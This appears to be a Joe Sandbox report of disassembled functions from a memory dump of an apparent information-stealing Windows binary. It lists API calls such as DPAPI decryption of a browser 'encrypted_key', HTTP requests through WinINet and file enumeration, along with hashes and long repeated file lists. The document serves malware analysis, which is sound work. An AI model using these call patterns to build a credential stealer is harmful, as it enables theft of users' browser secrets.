Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 564194f37d13c1e851ca895816947c7f9a2869bf3b9038215289c50bd5d163aa
Instruction ID: 2e6a934494a53f29efc6f0a46d3be062fb122469d8da77ffbe13c7f9bae61df2
Opcode Fuzzy Hash: 564194f37d13c1e851ca895816947c7f9a2869bf3b9038215289c50bd5d163aa
Instruction Fuzzy Hash: E63161B5D00219ABCF04DBE4DC96BEEB7B8EF58304F144518E911A3241E7349A04CBB1

Function 00D36AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0184A0A8,?,00D4110C,?,00000000,?,00D41110,?,00000000,00D40AEF), ref: 00D36ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D36AE8
CloseHandle.KERNEL32(00000000), ref: 00D36AF9
Sleep.KERNEL32(00001770), ref: 00D36B04
CloseHandle.KERNEL32(?,00000000,?,0184A0A8,?,00D4110C,?,00000000,?,00D41110,?,00000000,00D40AEF), ref: 00D36B1A
ExitProcess.KERNEL32 ref: 00D36B22

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 37319408060d378ebb2855b9400893f7a5278c32e23ef55634fab812b7a6d987
Instruction ID: 3fbbba3aea201dce679a9e3d2630947c61d892f78d46c2ad732afbbb5b3d3044
Opcode Fuzzy Hash: 37319408060d378ebb2855b9400893f7a5278c32e23ef55634fab812b7a6d987
Instruction Fuzzy Hash: DCF0D470A4021DBAE710ABA0DC1ABBEBA74EB04741F108514F563A6191DBF09540EEB6

Function 00D247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D24839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D24849

Strings

<, xrefs: 00D247C9

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1a2759e458955a4a3521b1cd8db013255171e54ef9fd5cdaf924d69e3db9ad30
Instruction ID: fe7c73fc8c4a4d0580b185f9d6edf4fc066547944135ea24a7a324a07e854936
Opcode Fuzzy Hash: 1a2759e458955a4a3521b1cd8db013255171e54ef9fd5cdaf924d69e3db9ad30
Instruction Fuzzy Hash: 2C215BB1D00209ABDF10DFA4EC49ADE7B74FB04320F008625F965A7291EB706A09DF91

Function 00D351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Part of subcall function 00D26280: InternetOpenA.WININET(00D40DFE,00000001,00000000,00000000,00000000), ref: 00D262E1
Part of subcall function 00D26280: StrCmpCA.SHLWAPI(?,0184F108), ref: 00D26303
Part of subcall function 00D26280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D26335
Part of subcall function 00D26280: HttpOpenRequestA.WININET(00000000,GET,?,0184EA10,00000000,00000000,00400100,00000000), ref: 00D26385
Part of subcall function 00D26280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D263BF
Part of subcall function 00D26280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D35228

Strings

ERROR, xrefs: 00D35273
ERROR, xrefs: 00D3521A

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 756ea5c24273f86080ae20a1ab142e9208ea813988d9c86da6117caa9e7f1971
Instruction ID: f44791671db08b408db52061a51a0e495f44ea4a53162da66aee3fcab28b0fcc
Opcode Fuzzy Hash: 756ea5c24273f86080ae20a1ab142e9208ea813988d9c86da6117caa9e7f1971
Instruction Fuzzy Hash: 4C110375A10148ABCB14FF78ED92AED7338EF50300F404164F85A57592EF70AB05D6B1

Function 00D34F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

lstrcat.KERNEL32(?,00000000), ref: 00D34F7A
lstrcat.KERNEL32(?,00D41070), ref: 00D34F97
lstrcat.KERNEL32(?,0184A2D8), ref: 00D34FAB
lstrcat.KERNEL32(?,00D41074), ref: 00D34FBD

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D3492C
Part of subcall function 00D34910: FindFirstFileA.KERNEL32(?,?), ref: 00D34943

Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FDC), ref: 00D34971
Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FE0), ref: 00D34987
Part of subcall function 00D34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D34B7D
Part of subcall function 00D34910: FindClose.KERNEL32(000000FF), ref: 00D34B92

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 47b78167f999109e2262fa06182874166332faadeb9967f167a1ee93e153e13c
Instruction ID: 862afd79d0728f26ad81bc374a6c946ac020f3f0dfb918494fadc68aca54a11f
Opcode Fuzzy Hash: 47b78167f999109e2262fa06182874166332faadeb9967f167a1ee93e153e13c
Instruction Fuzzy Hash: F82147769042086BC754F770EC46EED337CEB54700F004558F65AA7181EEB59AC99FB2

Function 00D30740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0184A1E8), ref: 00D3079A
StrCmpCA.SHLWAPI(00000000,0184A218), ref: 00D30866
StrCmpCA.SHLWAPI(00000000,0184A288), ref: 00D3099D

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 74e03d6f5b5ccfa8b7df88c34612f3e1d8c35ff8ad3f2bd7c086fbe1f30deb52
Instruction ID: b64143e96c9dfcddc8a5a9b4972be1939f00c324137ccdba837c378d7cf9229d
Opcode Fuzzy Hash: 74e03d6f5b5ccfa8b7df88c34612f3e1d8c35ff8ad3f2bd7c086fbe1f30deb52
Instruction Fuzzy Hash: CD915975B101089FCB28EF68D995BEDB7B5FF94300F508559E8499F241DB30AA05CBB2

Function 00D30765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0184A1E8), ref: 00D3079A
StrCmpCA.SHLWAPI(00000000,0184A218), ref: 00D30866
StrCmpCA.SHLWAPI(00000000,0184A288), ref: 00D3099D

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: e05c55acbb311c39237153aa5ec2461d83422a74b9be9820533150de36188115
Instruction ID: 84305914e4043bbbc443ab6f4c97941939f3fe1f08f7f6126c2a35438a688e35
Opcode Fuzzy Hash: e05c55acbb311c39237153aa5ec2461d83422a74b9be9820533150de36188115
Instruction Fuzzy Hash: 28816975B102089FCB18EF68D991BEDB7B5FF94300F508569E8499F351DB30AA05CBA2

Function 00D370D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

memset.MSVCRT ref: 00D3716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00D3718C

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
